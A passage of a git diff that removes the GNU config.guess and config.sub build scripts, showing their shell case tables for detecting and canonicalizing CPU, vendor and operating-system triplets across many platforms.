"$UNAME_MACHINE"-unknown-linux-"$LIBC" - exit ;; - cris:Linux:*:*) - echo "$UNAME_MACHINE"-axis-linux-"$LIBC" - exit ;; - crisv32:Linux:*:*) - echo "$UNAME_MACHINE"-axis-linux-"$LIBC" - exit ;; - e2k:Linux:*:*) - echo "$UNAME_MACHINE"-unknown-linux-"$LIBC" - exit ;; - frv:Linux:*:*) - echo "$UNAME_MACHINE"-unknown-linux-"$LIBC" - exit ;; - hexagon:Linux:*:*) - echo "$UNAME_MACHINE"-unknown-linux-"$LIBC" - exit ;; - i*86:Linux:*:*) - echo "$UNAME_MACHINE"-pc-linux-"$LIBC" - exit ;; - ia64:Linux:*:*) - echo "$UNAME_MACHINE"-unknown-linux-"$LIBC" - exit ;; - k1om:Linux:*:*) - echo "$UNAME_MACHINE"-unknown-linux-"$LIBC" - exit ;; - loongarch32:Linux:*:* | loongarch64:Linux:*:* | loongarchx32:Linux:*:*) - echo "$UNAME_MACHINE"-unknown-linux-"$LIBC" - exit ;; - m32r*:Linux:*:*) - echo "$UNAME_MACHINE"-unknown-linux-"$LIBC" - exit ;; - m68*:Linux:*:*) - echo "$UNAME_MACHINE"-unknown-linux-"$LIBC" - exit ;; - mips:Linux:*:* | mips64:Linux:*:*) - set_cc_for_build - IS_GLIBC=0 - test x"${LIBC}" = xgnu && IS_GLIBC=1 - sed 's/^ //' << EOF > "$dummy.c" - #undef CPU - #undef mips - #undef mipsel - #undef mips64 - #undef mips64el - #if ${IS_GLIBC} && defined(_ABI64) - LIBCABI=gnuabi64 - #else - #if ${IS_GLIBC} && defined(_ABIN32) - LIBCABI=gnuabin32 - #else - LIBCABI=${LIBC} - #endif - #endif - - #if ${IS_GLIBC} && defined(__mips64) && defined(__mips_isa_rev) && __mips_isa_rev>=6 - CPU=mipsisa64r6 - #else - #if ${IS_GLIBC} && !defined(__mips64) && defined(__mips_isa_rev) && __mips_isa_rev>=6 - CPU=mipsisa32r6 - #else - #if defined(__mips64) - CPU=mips64 - #else - CPU=mips - #endif - #endif - #endif - - #if defined(__MIPSEL__) || defined(__MIPSEL) || defined(_MIPSEL) || defined(MIPSEL) - MIPS_ENDIAN=el - #else - #if defined(__MIPSEB__) || defined(__MIPSEB) || defined(_MIPSEB) || defined(MIPSEB) - MIPS_ENDIAN= - #else - MIPS_ENDIAN= - #endif - #endif -EOF - eval "$($CC_FOR_BUILD -E "$dummy.c" 2>/dev/null | grep '^CPU\|^MIPS_ENDIAN\|^LIBCABI')" - test "x$CPU" != x && { echo "$CPU${MIPS_ENDIAN}-unknown-linux-$LIBCABI"; exit; } - ;; - mips64el:Linux:*:*) - echo "$UNAME_MACHINE"-unknown-linux-"$LIBC" - exit ;; - openrisc*:Linux:*:*) - echo or1k-unknown-linux-"$LIBC" - exit ;; - or32:Linux:*:* | or1k*:Linux:*:*) - echo "$UNAME_MACHINE"-unknown-linux-"$LIBC" - exit ;; - padre:Linux:*:*) - echo sparc-unknown-linux-"$LIBC" - exit ;; - parisc64:Linux:*:* | hppa64:Linux:*:*) - echo hppa64-unknown-linux-"$LIBC" - exit ;; - parisc:Linux:*:* | hppa:Linux:*:*) - # Look for CPU level - case $(grep '^cpu[^a-z]*:' /proc/cpuinfo 2>/dev/null | cut -d' ' -f2) in - PA7*) echo hppa1.1-unknown-linux-"$LIBC" ;; - PA8*) echo hppa2.0-unknown-linux-"$LIBC" ;; - *) echo hppa-unknown-linux-"$LIBC" ;; - esac - exit ;; - ppc64:Linux:*:*) - echo powerpc64-unknown-linux-"$LIBC" - exit ;; - ppc:Linux:*:*) - echo powerpc-unknown-linux-"$LIBC" - exit ;; - ppc64le:Linux:*:*) - echo powerpc64le-unknown-linux-"$LIBC" - exit ;; - ppcle:Linux:*:*) - echo powerpcle-unknown-linux-"$LIBC" - exit ;; - riscv32:Linux:*:* | riscv32be:Linux:*:* | riscv64:Linux:*:* | riscv64be:Linux:*:*) - echo "$UNAME_MACHINE"-unknown-linux-"$LIBC" - exit ;; - s390:Linux:*:* | s390x:Linux:*:*) - echo "$UNAME_MACHINE"-ibm-linux-"$LIBC" - exit ;; - sh64*:Linux:*:*) - echo "$UNAME_MACHINE"-unknown-linux-"$LIBC" - exit ;; - sh*:Linux:*:*) - echo "$UNAME_MACHINE"-unknown-linux-"$LIBC" - exit ;; - sparc:Linux:*:* | sparc64:Linux:*:*) - echo "$UNAME_MACHINE"-unknown-linux-"$LIBC" - exit ;; - tile*:Linux:*:*) - echo "$UNAME_MACHINE"-unknown-linux-"$LIBC" - exit ;; - vax:Linux:*:*) - echo "$UNAME_MACHINE"-dec-linux-"$LIBC" - exit ;; - x86_64:Linux:*:*) - set_cc_for_build - LIBCABI=$LIBC - if test "$CC_FOR_BUILD" != no_compiler_found; then - if (echo '#ifdef __ILP32__'; echo IS_X32; echo '#endif') | \ - (CCOPTS="" $CC_FOR_BUILD -E - 2>/dev/null) | \ - grep IS_X32 >/dev/null - then - LIBCABI="$LIBC"x32 - fi - fi - echo "$UNAME_MACHINE"-pc-linux-"$LIBCABI" - exit ;; - xtensa*:Linux:*:*) - echo "$UNAME_MACHINE"-unknown-linux-"$LIBC" - exit ;; - i*86:DYNIX/ptx:4*:*) - # ptx 4.0 does uname -s correctly, with DYNIX/ptx in there. - # earlier versions are messed up and put the nodename in both - # sysname and nodename. - echo i386-sequent-sysv4 - exit ;; - i*86:UNIX_SV:4.2MP:2.*) - # Unixware is an offshoot of SVR4, but it has its own version - # number series starting with 2... - # I am not positive that other SVR4 systems won't match this, - # I just have to hope. -- rms. - # Use sysv4.2uw... so that sysv4* matches it. - echo "$UNAME_MACHINE"-pc-sysv4.2uw"$UNAME_VERSION" - exit ;; - i*86:OS/2:*:*) - # If we were able to find `uname', then EMX Unix compatibility - # is probably installed. - echo "$UNAME_MACHINE"-pc-os2-emx - exit ;; - i*86:XTS-300:*:STOP) - echo "$UNAME_MACHINE"-unknown-stop - exit ;; - i*86:atheos:*:*) - echo "$UNAME_MACHINE"-unknown-atheos - exit ;; - i*86:syllable:*:*) - echo "$UNAME_MACHINE"-pc-syllable - exit ;; - i*86:LynxOS:2.*:* | i*86:LynxOS:3.[01]*:* | i*86:LynxOS:4.[02]*:*) - echo i386-unknown-lynxos"$UNAME_RELEASE" - exit ;; - i*86:*DOS:*:*) - echo "$UNAME_MACHINE"-pc-msdosdjgpp - exit ;; - i*86:*:4.*:*) - UNAME_REL=$(echo "$UNAME_RELEASE" | sed 's/\/MP$//') - if grep Novell /usr/include/link.h >/dev/null 2>/dev/null; then - echo "$UNAME_MACHINE"-univel-sysv"$UNAME_REL" - else - echo "$UNAME_MACHINE"-pc-sysv"$UNAME_REL" - fi - exit ;; - i*86:*:5:[678]*) - # UnixWare 7.x, OpenUNIX and OpenServer 6. - case $(/bin/uname -X | grep "^Machine") in - *486*) UNAME_MACHINE=i486 ;; - *Pentium) UNAME_MACHINE=i586 ;; - *Pent*|*Celeron) UNAME_MACHINE=i686 ;; - esac - echo "$UNAME_MACHINE-unknown-sysv${UNAME_RELEASE}${UNAME_SYSTEM}${UNAME_VERSION}" - exit ;; - i*86:*:3.2:*) - if test -f /usr/options/cb.name; then - UNAME_REL=$(sed -n 's/.*Version //p' /dev/null >/dev/null ; then - UNAME_REL=$( (/bin/uname -X|grep Release|sed -e 's/.*= //')) - (/bin/uname -X|grep i80486 >/dev/null) && UNAME_MACHINE=i486 - (/bin/uname -X|grep '^Machine.*Pentium' >/dev/null) \ - && UNAME_MACHINE=i586 - (/bin/uname -X|grep '^Machine.*Pent *II' >/dev/null) \ - && UNAME_MACHINE=i686 - (/bin/uname -X|grep '^Machine.*Pentium Pro' >/dev/null) \ - && UNAME_MACHINE=i686 - echo "$UNAME_MACHINE"-pc-sco"$UNAME_REL" - else - echo "$UNAME_MACHINE"-pc-sysv32 - fi - exit ;; - pc:*:*:*) - # Left here for compatibility: - # uname -m prints for DJGPP always 'pc', but it prints nothing about - # the processor, so we play safe by assuming i586. - # Note: whatever this is, it MUST be the same as what config.sub - # prints for the "djgpp" host, or else GDB configure will decide that - # this is a cross-build. - echo i586-pc-msdosdjgpp - exit ;; - Intel:Mach:3*:*) - echo i386-pc-mach3 - exit ;; - paragon:*:*:*) - echo i860-intel-osf1 - exit ;; - i860:*:4.*:*) # i860-SVR4 - if grep Stardent /usr/include/sys/uadmin.h >/dev/null 2>&1 ; then - echo i860-stardent-sysv"$UNAME_RELEASE" # Stardent Vistra i860-SVR4 - else # Add other i860-SVR4 vendors below as they are discovered. - echo i860-unknown-sysv"$UNAME_RELEASE" # Unknown i860-SVR4 - fi - exit ;; - mini*:CTIX:SYS*5:*) - # "miniframe" - echo m68010-convergent-sysv - exit ;; - mc68k:UNIX:SYSTEM5:3.51m) - echo m68k-convergent-sysv - exit ;; - M680?0:D-NIX:5.3:*) - echo m68k-diab-dnix - exit ;; - M68*:*:R3V[5678]*:*) - test -r /sysV68 && { echo 'm68k-motorola-sysv'; exit; } ;; - 3[345]??:*:4.0:3.0 | 3[34]??A:*:4.0:3.0 | 3[34]??,*:*:4.0:3.0 | 3[34]??/*:*:4.0:3.0 | 4400:*:4.0:3.0 | 4850:*:4.0:3.0 | SKA40:*:4.0:3.0 | SDS2:*:4.0:3.0 | SHG2:*:4.0:3.0 | S7501*:*:4.0:3.0) - OS_REL='' - test -r /etc/.relid \ - && OS_REL=.$(sed -n 's/[^ ]* [^ ]* \([0-9][0-9]\).*/\1/p' < /etc/.relid) - /bin/uname -p 2>/dev/null | grep 86 >/dev/null \ - && { echo i486-ncr-sysv4.3"$OS_REL"; exit; } - /bin/uname -p 2>/dev/null | /bin/grep entium >/dev/null \ - && { echo i586-ncr-sysv4.3"$OS_REL"; exit; } ;; - 3[34]??:*:4.0:* | 3[34]??,*:*:4.0:*) - /bin/uname -p 2>/dev/null | grep 86 >/dev/null \ - && { echo i486-ncr-sysv4; exit; } ;; - NCR*:*:4.2:* | MPRAS*:*:4.2:*) - OS_REL='.3' - test -r /etc/.relid \ - && OS_REL=.$(sed -n 's/[^ ]* [^ ]* \([0-9][0-9]\).*/\1/p' < /etc/.relid) - /bin/uname -p 2>/dev/null | grep 86 >/dev/null \ - && { echo i486-ncr-sysv4.3"$OS_REL"; exit; } - /bin/uname -p 2>/dev/null | /bin/grep entium >/dev/null \ - && { echo i586-ncr-sysv4.3"$OS_REL"; exit; } - /bin/uname -p 2>/dev/null | /bin/grep pteron >/dev/null \ - && { echo i586-ncr-sysv4.3"$OS_REL"; exit; } ;; - m68*:LynxOS:2.*:* | m68*:LynxOS:3.0*:*) - echo m68k-unknown-lynxos"$UNAME_RELEASE" - exit ;; - mc68030:UNIX_System_V:4.*:*) - echo m68k-atari-sysv4 - exit ;; - TSUNAMI:LynxOS:2.*:*) - echo sparc-unknown-lynxos"$UNAME_RELEASE" - exit ;; - rs6000:LynxOS:2.*:*) - echo rs6000-unknown-lynxos"$UNAME_RELEASE" - exit ;; - PowerPC:LynxOS:2.*:* | PowerPC:LynxOS:3.[01]*:* | PowerPC:LynxOS:4.[02]*:*) - echo powerpc-unknown-lynxos"$UNAME_RELEASE" - exit ;; - SM[BE]S:UNIX_SV:*:*) - echo mips-dde-sysv"$UNAME_RELEASE" - exit ;; - RM*:ReliantUNIX-*:*:*) - echo mips-sni-sysv4 - exit ;; - RM*:SINIX-*:*:*) - echo mips-sni-sysv4 - exit ;; - *:SINIX-*:*:*) - if uname -p 2>/dev/null >/dev/null ; then - UNAME_MACHINE=$( (uname -p) 2>/dev/null) - echo "$UNAME_MACHINE"-sni-sysv4 - else - echo ns32k-sni-sysv - fi - exit ;; - PENTIUM:*:4.0*:*) # Unisys `ClearPath HMP IX 4000' SVR4/MP effort - # says - echo i586-unisys-sysv4 - exit ;; - *:UNIX_System_V:4*:FTX*) - # From Gerald Hewes . - # How about differentiating between stratus architectures? -djm - echo hppa1.1-stratus-sysv4 - exit ;; - *:*:*:FTX*) - # From seanf@swdc.stratus.com. - echo i860-stratus-sysv4 - exit ;; - i*86:VOS:*:*) - # From Paul.Green@stratus.com. - echo "$UNAME_MACHINE"-stratus-vos - exit ;; - *:VOS:*:*) - # From Paul.Green@stratus.com. - echo hppa1.1-stratus-vos - exit ;; - mc68*:A/UX:*:*) - echo m68k-apple-aux"$UNAME_RELEASE" - exit ;; - news*:NEWS-OS:6*:*) - echo mips-sony-newsos6 - exit ;; - R[34]000:*System_V*:*:* | R4000:UNIX_SYSV:*:* | R*000:UNIX_SV:*:*) - if test -d /usr/nec; then - echo mips-nec-sysv"$UNAME_RELEASE" - else - echo mips-unknown-sysv"$UNAME_RELEASE" - fi - exit ;; - BeBox:BeOS:*:*) # BeOS running on hardware made by Be, PPC only. - echo powerpc-be-beos - exit ;; - BeMac:BeOS:*:*) # BeOS running on Mac or Mac clone, PPC only. - echo powerpc-apple-beos - exit ;; - BePC:BeOS:*:*) # BeOS running on Intel PC compatible. - echo i586-pc-beos - exit ;; - BePC:Haiku:*:*) # Haiku running on Intel PC compatible. - echo i586-pc-haiku - exit ;; - x86_64:Haiku:*:*) - echo x86_64-unknown-haiku - exit ;; - SX-4:SUPER-UX:*:*) - echo sx4-nec-superux"$UNAME_RELEASE" - exit ;; - SX-5:SUPER-UX:*:*) - echo sx5-nec-superux"$UNAME_RELEASE" - exit ;; - SX-6:SUPER-UX:*:*) - echo sx6-nec-superux"$UNAME_RELEASE" - exit ;; - SX-7:SUPER-UX:*:*) - echo sx7-nec-superux"$UNAME_RELEASE" - exit ;; - SX-8:SUPER-UX:*:*) - echo sx8-nec-superux"$UNAME_RELEASE" - exit ;; - SX-8R:SUPER-UX:*:*) - echo sx8r-nec-superux"$UNAME_RELEASE" - exit ;; - SX-ACE:SUPER-UX:*:*) - echo sxace-nec-superux"$UNAME_RELEASE" - exit ;; - Power*:Rhapsody:*:*) - echo powerpc-apple-rhapsody"$UNAME_RELEASE" - exit ;; - *:Rhapsody:*:*) - echo "$UNAME_MACHINE"-apple-rhapsody"$UNAME_RELEASE" - exit ;; - arm64:Darwin:*:*) - echo aarch64-apple-darwin"$UNAME_RELEASE" - exit ;; - *:Darwin:*:*) - UNAME_PROCESSOR=$(uname -p) - case $UNAME_PROCESSOR in - unknown) UNAME_PROCESSOR=powerpc ;; - esac - if command -v xcode-select > /dev/null 2> /dev/null && \ - ! xcode-select --print-path > /dev/null 2> /dev/null ; then - # Avoid executing cc if there is no toolchain installed as - # cc will be a stub that puts up a graphical alert - # prompting the user to install developer tools. - CC_FOR_BUILD=no_compiler_found - else - set_cc_for_build - fi - if test "$CC_FOR_BUILD" != no_compiler_found; then - if (echo '#ifdef __LP64__'; echo IS_64BIT_ARCH; echo '#endif') | \ - (CCOPTS="" $CC_FOR_BUILD -E - 2>/dev/null) | \ - grep IS_64BIT_ARCH >/dev/null - then - case $UNAME_PROCESSOR in - i386) UNAME_PROCESSOR=x86_64 ;; - powerpc) UNAME_PROCESSOR=powerpc64 ;; - esac - fi - # On 10.4-10.6 one might compile for PowerPC via gcc -arch ppc - if (echo '#ifdef __POWERPC__'; echo IS_PPC; echo '#endif') | \ - (CCOPTS="" $CC_FOR_BUILD -E - 2>/dev/null) | \ - grep IS_PPC >/dev/null - then - UNAME_PROCESSOR=powerpc - fi - elif test "$UNAME_PROCESSOR" = i386 ; then - # uname -m returns i386 or x86_64 - UNAME_PROCESSOR=$UNAME_MACHINE - fi - echo "$UNAME_PROCESSOR"-apple-darwin"$UNAME_RELEASE" - exit ;; - *:procnto*:*:* | *:QNX:[0123456789]*:*) - UNAME_PROCESSOR=$(uname -p) - if test "$UNAME_PROCESSOR" = x86; then - UNAME_PROCESSOR=i386 - UNAME_MACHINE=pc - fi - echo "$UNAME_PROCESSOR"-"$UNAME_MACHINE"-nto-qnx"$UNAME_RELEASE" - exit ;; - *:QNX:*:4*) - echo i386-pc-qnx - exit ;; - NEO-*:NONSTOP_KERNEL:*:*) - echo neo-tandem-nsk"$UNAME_RELEASE" - exit ;; - NSE-*:NONSTOP_KERNEL:*:*) - echo nse-tandem-nsk"$UNAME_RELEASE" - exit ;; - NSR-*:NONSTOP_KERNEL:*:*) - echo nsr-tandem-nsk"$UNAME_RELEASE" - exit ;; - NSV-*:NONSTOP_KERNEL:*:*) - echo nsv-tandem-nsk"$UNAME_RELEASE" - exit ;; - NSX-*:NONSTOP_KERNEL:*:*) - echo nsx-tandem-nsk"$UNAME_RELEASE" - exit ;; - *:NonStop-UX:*:*) - echo mips-compaq-nonstopux - exit ;; - BS2000:POSIX*:*:*) - echo bs2000-siemens-sysv - exit ;; - DS/*:UNIX_System_V:*:*) - echo "$UNAME_MACHINE"-"$UNAME_SYSTEM"-"$UNAME_RELEASE" - exit ;; - *:Plan9:*:*) - # "uname -m" is not consistent, so use $cputype instead. 386 - # is converted to i386 for consistency with other x86 - # operating systems. - # shellcheck disable=SC2154 - if test "$cputype" = 386; then - UNAME_MACHINE=i386 - else - UNAME_MACHINE="$cputype" - fi - echo "$UNAME_MACHINE"-unknown-plan9 - exit ;; - *:TOPS-10:*:*) - echo pdp10-unknown-tops10 - exit ;; - *:TENEX:*:*) - echo pdp10-unknown-tenex - exit ;; - KS10:TOPS-20:*:* | KL10:TOPS-20:*:* | TYPE4:TOPS-20:*:*) - echo pdp10-dec-tops20 - exit ;; - XKL-1:TOPS-20:*:* | TYPE5:TOPS-20:*:*) - echo pdp10-xkl-tops20 - exit ;; - *:TOPS-20:*:*) - echo pdp10-unknown-tops20 - exit ;; - *:ITS:*:*) - echo pdp10-unknown-its - exit ;; - SEI:*:*:SEIUX) - echo mips-sei-seiux"$UNAME_RELEASE" - exit ;; - *:DragonFly:*:*) - echo "$UNAME_MACHINE"-unknown-dragonfly"$(echo "$UNAME_RELEASE"|sed -e 's/[-(].*//')" - exit ;; - *:*VMS:*:*) - UNAME_MACHINE=$( (uname -p) 2>/dev/null) - case "$UNAME_MACHINE" in - A*) echo alpha-dec-vms ; exit ;; - I*) echo ia64-dec-vms ; exit ;; - V*) echo vax-dec-vms ; exit ;; - esac ;; - *:XENIX:*:SysV) - echo i386-pc-xenix - exit ;; - i*86:skyos:*:*) - echo "$UNAME_MACHINE"-pc-skyos"$(echo "$UNAME_RELEASE" | sed -e 's/ .*$//')" - exit ;; - i*86:rdos:*:*) - echo "$UNAME_MACHINE"-pc-rdos - exit ;; - *:AROS:*:*) - echo "$UNAME_MACHINE"-unknown-aros - exit ;; - x86_64:VMkernel:*:*) - echo "$UNAME_MACHINE"-unknown-esx - exit ;; - amd64:Isilon\ OneFS:*:*) - echo x86_64-unknown-onefs - exit ;; - *:Unleashed:*:*) - echo "$UNAME_MACHINE"-unknown-unleashed"$UNAME_RELEASE" - exit ;; -esac - -# No uname command or uname output not recognized. -set_cc_for_build -cat > "$dummy.c" < -#include -#endif -#if defined(ultrix) || defined(_ultrix) || defined(__ultrix) || defined(__ultrix__) -#if defined (vax) || defined (__vax) || defined (__vax__) || defined(mips) || defined(__mips) || defined(__mips__) || defined(MIPS) || defined(__MIPS__) -#include -#if defined(_SIZE_T_) || defined(SIGLOST) -#include -#endif -#endif -#endif -main () -{ -#if defined (sony) -#if defined (MIPSEB) - /* BFD wants "bsd" instead of "newsos". Perhaps BFD should be changed, - I don't know.... */ - printf ("mips-sony-bsd\n"); exit (0); -#else -#include - printf ("m68k-sony-newsos%s\n", -#ifdef NEWSOS4 - "4" -#else - "" -#endif - ); exit (0); -#endif -#endif - -#if defined (NeXT) -#if !defined (__ARCHITECTURE__) -#define __ARCHITECTURE__ "m68k" -#endif - int version; - version=$( (hostinfo | sed -n 's/.*NeXT Mach \([0-9]*\).*/\1/p') 2>/dev/null); - if (version < 4) - printf ("%s-next-nextstep%d\n", __ARCHITECTURE__, version); - else - printf ("%s-next-openstep%d\n", __ARCHITECTURE__, version); - exit (0); -#endif - -#if defined (MULTIMAX) || defined (n16) -#if defined (UMAXV) - printf ("ns32k-encore-sysv\n"); exit (0); -#else -#if defined (CMU) - printf ("ns32k-encore-mach\n"); exit (0); -#else - printf ("ns32k-encore-bsd\n"); exit (0); -#endif -#endif -#endif - -#if defined (__386BSD__) - printf ("i386-pc-bsd\n"); exit (0); -#endif - -#if defined (sequent) -#if defined (i386) - printf ("i386-sequent-dynix\n"); exit (0); -#endif -#if defined (ns32000) - printf ("ns32k-sequent-dynix\n"); exit (0); -#endif -#endif - -#if defined (_SEQUENT_) - struct utsname un; - - uname(&un); - if (strncmp(un.version, "V2", 2) == 0) { - printf ("i386-sequent-ptx2\n"); exit (0); - } - if (strncmp(un.version, "V1", 2) == 0) { /* XXX is V1 correct? */ - printf ("i386-sequent-ptx1\n"); exit (0); - } - printf ("i386-sequent-ptx\n"); exit (0); -#endif - -#if defined (vax) -#if !defined (ultrix) -#include -#if defined (BSD) -#if BSD == 43 - printf ("vax-dec-bsd4.3\n"); exit (0); -#else -#if BSD == 199006 - printf ("vax-dec-bsd4.3reno\n"); exit (0); -#else - printf ("vax-dec-bsd\n"); exit (0); -#endif -#endif -#else - printf ("vax-dec-bsd\n"); exit (0); -#endif -#else -#if defined(_SIZE_T_) || defined(SIGLOST) - struct utsname un; - uname (&un); - printf ("vax-dec-ultrix%s\n", un.release); exit (0); -#else - printf ("vax-dec-ultrix\n"); exit (0); -#endif -#endif -#endif -#if defined(ultrix) || defined(_ultrix) || defined(__ultrix) || defined(__ultrix__) -#if defined(mips) || defined(__mips) || defined(__mips__) || defined(MIPS) || defined(__MIPS__) -#if defined(_SIZE_T_) || defined(SIGLOST) - struct utsname *un; - uname (&un); - printf ("mips-dec-ultrix%s\n", un.release); exit (0); -#else - printf ("mips-dec-ultrix\n"); exit (0); -#endif -#endif -#endif - -#if defined (alliant) && defined (i860) - printf ("i860-alliant-bsd\n"); exit (0); -#endif - - exit (1); -} -EOF - -$CC_FOR_BUILD -o "$dummy" "$dummy.c" 2>/dev/null && SYSTEM_NAME=$($dummy) && - { echo "$SYSTEM_NAME"; exit; } - -# Apollos put the system type in the environment. -test -d /usr/apollo && { echo "$ISP-apollo-$SYSTYPE"; exit; } - -echo "$0: unable to guess system type" >&2 - -case "$UNAME_MACHINE:$UNAME_SYSTEM" in - mips:Linux | mips64:Linux) - # If we got here on MIPS GNU/Linux, output extra information. - cat >&2 <&2 <&2 </dev/null || echo unknown) -uname -r = $( (uname -r) 2>/dev/null || echo unknown) -uname -s = $( (uname -s) 2>/dev/null || echo unknown) -uname -v = $( (uname -v) 2>/dev/null || echo unknown) - -/usr/bin/uname -p = $( (/usr/bin/uname -p) 2>/dev/null) -/bin/uname -X = $( (/bin/uname -X) 2>/dev/null) - -hostinfo = $( (hostinfo) 2>/dev/null) -/bin/universe = $( (/bin/universe) 2>/dev/null) -/usr/bin/arch -k = $( (/usr/bin/arch -k) 2>/dev/null) -/bin/arch = $( (/bin/arch) 2>/dev/null) -/usr/bin/oslevel = $( (/usr/bin/oslevel) 2>/dev/null) -/usr/convex/getsysinfo = $( (/usr/convex/getsysinfo) 2>/dev/null) - -UNAME_MACHINE = "$UNAME_MACHINE" -UNAME_RELEASE = "$UNAME_RELEASE" -UNAME_SYSTEM = "$UNAME_SYSTEM" -UNAME_VERSION = "$UNAME_VERSION" -EOF -fi - -exit 1 - -# Local variables: -# eval: (add-hook 'before-save-hook 'time-stamp) -# time-stamp-start: "timestamp='" -# time-stamp-format: "%:y-%02m-%02d" -# time-stamp-end: "'" -# End: diff --git a/config/config.sub b/config/config.sub deleted file mode 100755 index 63c1f1c8b..000000000 --- a/config/config.sub +++ /dev/null @@ -1,1860 +0,0 @@ -#! /bin/sh -# Configuration validation subroutine script. -# Copyright 1992-2021 Free Software Foundation, Inc. - -timestamp='2021-01-08' - -# This file is free software; you can redistribute it and/or modify it -# under the terms of the GNU General Public License as published by -# the Free Software Foundation; either version 3 of the License, or -# (at your option) any later version. -# -# This program is distributed in the hope that it will be useful, but -# WITHOUT ANY WARRANTY; without even the implied warranty of -# MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU -# General Public License for more details. -# -# You should have received a copy of the GNU General Public License -# along with this program; if not, see . -# -# As a special exception to the GNU General Public License, if you -# distribute this file as part of a program that contains a -# configuration script generated by Autoconf, you may include it under -# the same distribution terms that you use for the rest of that -# program. This Exception is an additional permission under section 7 -# of the GNU General Public License, version 3 ("GPLv3"). - - -# Please send patches to . -# -# Configuration subroutine to validate and canonicalize a configuration type. -# Supply the specified configuration type as an argument. -# If it is invalid, we print an error message on stderr and exit with code 1. -# Otherwise, we print the canonical config type on stdout and succeed. - -# You can get the latest version of this script from: -# https://git.savannah.gnu.org/cgit/config.git/plain/config.sub - -# This file is supposed to be the same for all GNU packages -# and recognize all the CPU types, system types and aliases -# that are meaningful with *any* GNU software. -# Each package is responsible for reporting which valid configurations -# it does not support. The user should be able to distinguish -# a failure to support a valid configuration from a meaningless -# configuration. - -# The goal of this file is to map all the various variations of a given -# machine specification into a single specification in the form: -# CPU_TYPE-MANUFACTURER-OPERATING_SYSTEM -# or in some cases, the newer four-part form: -# CPU_TYPE-MANUFACTURER-KERNEL-OPERATING_SYSTEM -# It is wrong to echo any other type of specification. - -me=$(echo "$0" | sed -e 's,.*/,,') - -usage="\ -Usage: $0 [OPTION] CPU-MFR-OPSYS or ALIAS - -Canonicalize a configuration name. - -Options: - -h, --help print this help, then exit - -t, --time-stamp print date of last modification, then exit - -v, --version print version number, then exit - -Report bugs and patches to ." - -version="\ -GNU config.sub ($timestamp) - -Copyright 1992-2021 Free Software Foundation, Inc. - -This is free software; see the source for copying conditions. There is NO -warranty; not even for MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE." - -help=" -Try \`$me --help' for more information." - -# Parse command line -while test $# -gt 0 ; do - case $1 in - --time-stamp | --time* | -t ) - echo "$timestamp" ; exit ;; - --version | -v ) - echo "$version" ; exit ;; - --help | --h* | -h ) - echo "$usage"; exit ;; - -- ) # Stop option processing - shift; break ;; - - ) # Use stdin as input. - break ;; - -* ) - echo "$me: invalid option $1$help" >&2 - exit 1 ;; - - *local*) - # First pass through any local machine types. - echo "$1" - exit ;; - - * ) - break ;; - esac -done - -case $# in - 0) echo "$me: missing argument$help" >&2 - exit 1;; - 1) ;; - *) echo "$me: too many arguments$help" >&2 - exit 1;; -esac - -# Split fields of configuration type -# shellcheck disable=SC2162 -IFS="-" read field1 field2 field3 field4 <&2 - exit 1 - ;; - *-*-*-*) - basic_machine=$field1-$field2 - basic_os=$field3-$field4 - ;; - *-*-*) - # Ambiguous whether COMPANY is present, or skipped and KERNEL-OS is two - # parts - maybe_os=$field2-$field3 - case $maybe_os in - nto-qnx* | linux-* | uclinux-uclibc* \ - | uclinux-gnu* | kfreebsd*-gnu* | knetbsd*-gnu* | netbsd*-gnu* \ - | netbsd*-eabi* | kopensolaris*-gnu* | cloudabi*-eabi* \ - | storm-chaos* | os2-emx* | rtmk-nova*) - basic_machine=$field1 - basic_os=$maybe_os - ;; - android-linux) - basic_machine=$field1-unknown - basic_os=linux-android - ;; - *) - basic_machine=$field1-$field2 - basic_os=$field3 - ;; - esac - ;; - *-*) - # A lone config we happen to match not fitting any pattern - case $field1-$field2 in - decstation-3100) - basic_machine=mips-dec - basic_os= - ;; - *-*) - # Second component is usually, but not always the OS - case $field2 in - # Prevent following clause from handling this valid os - sun*os*) - basic_machine=$field1 - basic_os=$field2 - ;; - # Manufacturers - dec* | mips* | sequent* | encore* | pc533* | sgi* | sony* \ - | att* | 7300* | 3300* | delta* | motorola* | sun[234]* \ - | unicom* | ibm* | next | hp | isi* | apollo | altos* \ - | convergent* | ncr* | news | 32* | 3600* | 3100* \ - | hitachi* | c[123]* | convex* | sun | crds | omron* | dg \ - | ultra | tti* | harris | dolphin | highlevel | gould \ - | cbm | ns | masscomp | apple | axis | knuth | cray \ - | microblaze* | sim | cisco \ - | oki | wec | wrs | winbond) - basic_machine=$field1-$field2 - basic_os= - ;; - *) - basic_machine=$field1 - basic_os=$field2 - ;; - esac - ;; - esac - ;; - *) - # Convert single-component short-hands not valid as part of - # multi-component configurations. - case $field1 in - 386bsd) - basic_machine=i386-pc - basic_os=bsd - ;; - a29khif) - basic_machine=a29k-amd - basic_os=udi - ;; - adobe68k) - basic_machine=m68010-adobe - basic_os=scout - ;; - alliant) - basic_machine=fx80-alliant - basic_os= - ;; - altos | altos3068) - basic_machine=m68k-altos - basic_os= - ;; - am29k) - basic_machine=a29k-none - basic_os=bsd - ;; - amdahl) - basic_machine=580-amdahl - basic_os=sysv - ;; - amiga) - basic_machine=m68k-unknown - basic_os= - ;; - amigaos | amigados) - basic_machine=m68k-unknown - basic_os=amigaos - ;; - amigaunix | amix) - basic_machine=m68k-unknown - basic_os=sysv4 - ;; - apollo68) - basic_machine=m68k-apollo - basic_os=sysv - ;; - apollo68bsd) - basic_machine=m68k-apollo - basic_os=bsd - ;; - aros) - basic_machine=i386-pc - basic_os=aros - ;; - aux) - basic_machine=m68k-apple - basic_os=aux - ;; - balance) - basic_machine=ns32k-sequent - basic_os=dynix - ;; - blackfin) - basic_machine=bfin-unknown - basic_os=linux - ;; - cegcc) - basic_machine=arm-unknown - basic_os=cegcc - ;; - convex-c1) - basic_machine=c1-convex - basic_os=bsd - ;; - convex-c2) - basic_machine=c2-convex - basic_os=bsd - ;; - convex-c32) - basic_machine=c32-convex - basic_os=bsd - ;; - convex-c34) - basic_machine=c34-convex - basic_os=bsd - ;; - convex-c38) - basic_machine=c38-convex - basic_os=bsd - ;; - cray) - basic_machine=j90-cray - basic_os=unicos - ;; - crds | unos) - basic_machine=m68k-crds - basic_os= - ;; - da30) - basic_machine=m68k-da30 - basic_os= - ;; - decstation | pmax | pmin | dec3100 | decstatn) - basic_machine=mips-dec - basic_os= - ;; - delta88) - basic_machine=m88k-motorola - 